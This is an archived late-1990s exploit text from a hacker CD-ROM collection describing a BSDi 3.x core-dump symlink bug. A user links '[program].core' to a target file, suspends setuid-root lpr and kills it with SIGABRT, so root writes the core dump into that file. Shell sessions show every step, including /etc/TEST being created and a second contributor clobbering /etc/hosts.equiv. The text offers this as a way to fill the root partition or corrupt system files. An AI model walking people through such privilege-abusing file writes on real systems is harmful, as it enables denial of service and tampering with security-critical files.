home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / bsd_core.txt < prev    next >
Encoding:
Text File  |  2001-11-06  |  2.1 KB  |  89 lines

  1.  
  2. A small and neat bug in BSDi 3.x allows people to arbitrarly write files
  3. with crap for data, but not overwrite them. Like so:
  4.  
  5. Have a symbolic link, called [programname].core to desired file. Program
  6. must be setuid root.
  7.  
  8. beep[ /tmp ] ls -la lpr.core
  9. lrwxrwxrwt  1 root  wheel  9 Jun 19 20:30 lpr.core@ -> /etc/TEST
  10. beep[ /tmp ]
  11.  
  12. Just to make sure that file doesn't exist :
  13.  
  14. beep[ /tmp ] ls -la /etc/TEST
  15. ls: /etc/TEST: No such file or directory
  16. beep[ /tmp ]
  17.  
  18. Run program. (In our case lpr is convenient since it waits for tty input
  19. and suspends itself.)
  20.  
  21. beep[ /tmp ] lpr &
  22. [1] 27886
  23. beep[ /tmp ]
  24. [1]  + Suspended (tty input)         lpr
  25. beep[ /tmp ]
  26.  
  27.  
  28. Kill it with the ABRT signal.
  29.  
  30. beep[ /tmp ] kill -ABRT %1
  31. beep[ /tmp ] fg
  32. lpr
  33. Abort (core dumped)
  34. beep[ /tmp ]
  35.  
  36. And voila :
  37.  
  38. beep[ /tmp ] ls -la /etc/TEST
  39. -rw-------  1 root  wheel  184320 Jun 19 20:39 /etc/TEST
  40. beep[ /tmp ]
  41.  
  42.  
  43.  
  44. ===========================================================================
  45.  
  46.  
  47. That's a neat "fill up the root partition" denial of service attack.
  48. It probably works in lots of other operating systems.
  49.  
  50. It doesn't work in OpenBSD.
  51.  
  52.  
  53. ===========================================================================
  54.  
  55.  
  56. > A.) BSDi doesn't give a damn that the euid!=ruid, so finding a setgid
  57. > program with priviliges isn't neccesary.
  58. >
  59. > B.) BSDi _does_ however, check if the file exists, so it's quite
  60. > impossible to overwrite files.
  61.  
  62.  
  63. Hmm, this is not my experience:
  64.  
  65. slingshot: {2} % id
  66. uid=100(ariel) gid=20(staff) groups=20(staff), 0(wheel)
  67. slingshot: {3} % ls -l /etc/hosts.equiv
  68. -rw-------  1 root  wheel  0 Jun 20 22:43 /etc/hosts.equiv
  69. slingshot: {4} % ln -s /etc/hosts.equiv lpr.core
  70. slingshot: {5} % lpr
  71. ^Z
  72. Suspended
  73. slingshot: {6} % kill -ABRT %1
  74. slingshot: {7} % fg
  75. lpr
  76. Abort (core dumped)
  77. slingshot: {8} % ls -l /etc/hosts.equiv
  78. -rw-------  1 root  wheel  167936 Jun 20 22:45 /etc/hosts.equiv
  79. slingshot: {9} % su
  80. Password:
  81. Jun 20 22:46:34 slingshot su: ariel to root on /dev/ttyp0
  82. slingshot: {1} % uname -a
  83. BSD/OS slingshot.tau.ac.il 3.0 BSDI BSD/OS 3.0 Kernel #0: Mon Jun 16
  84. 19:51:22 IDT 1997
  85. root@slingshot.tau.ac.il:/usr/src/sys/compile/SLINGSHOT  i386
  86.  
  87. It wont work if the target file is *not* mode 0600 .
  88.  
  89.